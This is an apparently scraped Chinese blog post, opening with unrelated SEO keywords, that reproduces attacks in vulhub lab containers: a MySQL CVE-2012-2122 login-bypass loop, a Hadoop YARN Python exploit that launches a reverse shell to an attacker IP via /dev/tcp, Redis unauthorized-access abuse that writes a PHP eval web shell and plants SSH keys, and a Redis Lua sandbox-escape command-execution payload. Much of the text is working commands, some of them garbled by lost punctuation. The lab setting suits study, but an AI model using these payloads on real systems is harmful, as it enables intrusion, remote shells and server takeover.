设计素材网站哪个好,微信商城首页,企业宣传片公司,贵阳免费做网站MySQL
Mysql 身份认证绕过漏洞#xff08;CVE-2012-2122#xff09;
当连接MariaDB/MySQL时#xff0c;输入的密码会与期望的正确密码比较#xff0c;由于不正确的处理#xff0c;会导致即便是memcmp()返回一个非零值#xff0c;也会使MySQL认为两个密码是相同的。也就…MySQL
Mysql 身份认证绕过漏洞CVE-2012-2122
当连接MariaDB/MySQL时输入的密码会与期望的正确密码比较由于不正确的处理会导致即便是memcmp()返回一个非零值也会使MySQL认为两个密码是相同的。也就是说只要知道用户名不断尝试就能够直接登入SQL数据库。
受影响版本
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. - MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
这是MySQL已知的唯一漏洞下面通过vulhub容器复现 环境启动后将启动一个Mysql服务版本5.5.23监听3306端口通过正常的Mysql客户端可以直接登录的正确root密码是123456。
漏洞验证
在不知道我们环境正确密码的情况下在bash下运行如下命令在一定数量尝试后便可成功登录 for i in seq 1 1000; do mysql -uroot -pwrong -h your-ip -P3306 ; done 此外就是尝试账号密码爆破要注意的是MySQL默认配置本地登录root用户远程的连接请求是拒绝的可以通过如phpmyadmin等数据库管理工具通过本地到本地的过程来测试
Hadoop
漏洞原因
Hadoop是一个由Apache基金会所开发的分布式系统基础架构由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口黑客可以通过命令行操作多个目录下的数据如进行删除下载目录浏览甚至命令执行等操作产生极大的危害。
这里推荐一个靶场 vulfocus.io,不知道为什么启动失败了后面开启了一个vulhub的容器 启动环境访问/cluster/apps如果界面存在就有未授权访问漏洞 使用官方EXP可以在vulhub.org下载
#!/usr/bin/env pythonimport requeststarget http://127.0.0.1:8088/
lhost 192.168.0.1 # put your local host ip here, and listen at port 9999url target ws/v1/cluster/apps/new-application
resp requests.post(url)
app_id resp.json()[application-id]
url target ws/v1/cluster/apps
data {application-id: app_id,application-name: get-shell,am-container-spec: {commands: {command: /bin/bash -i /dev/tcp/%s/9999 01 % lhost,},},application-type: YARN,
}
requests.post(url, jsondata) 漏洞修复:
关闭Web管理界面设置安全组和防火墙限制只有信任的IP才可以访问hadoop的50070等端口
Redis
redis是一个开源的、使用C语言编写的、支持网络交互的、可基于内存也可持久化的Key-Value数据库。
Redis未授权
redis的redis.conf配置条件有一个bind 127.0.0.1如果这个选项开启只有本机才能访问redis否则任何ip都可以访问此外还有一个叫protected-mode 安全模式默认为no不开启此外连接redis后可以通过config set requirepass 123456 来设置密码否则redis就没有密码可以通过
redis-cli -h ip地址直接连接 这里我先把所有安全措施关闭模拟配置不当导致漏洞,利用条件
写webshell需Web路径Web目录权限可读写可尝试tmp目录
写定时任务反弹shell bind和安全模式都未开启
config get dir #查看redis数据库路径 config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径 config set dbfilename 22.php #生成22.php文件 set xxx \r\n\r\n?php phpinfo();?\r\n\r\n#将一句话木马写入文件中 #\r\n\r\n是换行的意思用redis写入文件会自带一些版本信息如果不换行可能导致无法执行。 set xxx \r\n\r\n?php eval($_POST[whoami]);?\r\n\r\n#上传木马可以通过蚁剑连接 save#保存
写入linux ssh-key公钥 除以上权限要求root权限允许密钥登录
ssh-keygen -t rsa cd /root/.ssh/ (echo -e n,;cat id _rsa.pub,;echo -e n) key.txt
cat key.txt I redis-cli -h 118.31.57.214 -h set yc config set dir /root/ssh/ config set dbfilename authorized _keys save cd /root/ ssh/ ssh - id_rsa root118.31.57.214
主从复制反弹shell
由于在Reids 4.x及以上版本5版本以下中新增了模块功能攻击者可通过外部拓展在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块在未授权访问的情况下使被攻击服务器加载恶意.so 文件从而实现远程代码执行。
可以下载一个利用工具git clone https://github.com/vulhub/redis-rogue-getshell.git
Redis 沙盒转义和远程代码执行
存在此漏洞是因为 Debian/Ubuntu 中的 Lua 库是作为动态库提供的。自动填充一个变量该变量又允许访问任意 Lua 功能。package
例如正如这扩展到您可以使用从liblua加载模块然后使用此模块执行命令package.loadlib
POC: eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return res 0
MSF破解redis密码
此外还可以考虑使用msf等工具对密码进行爆破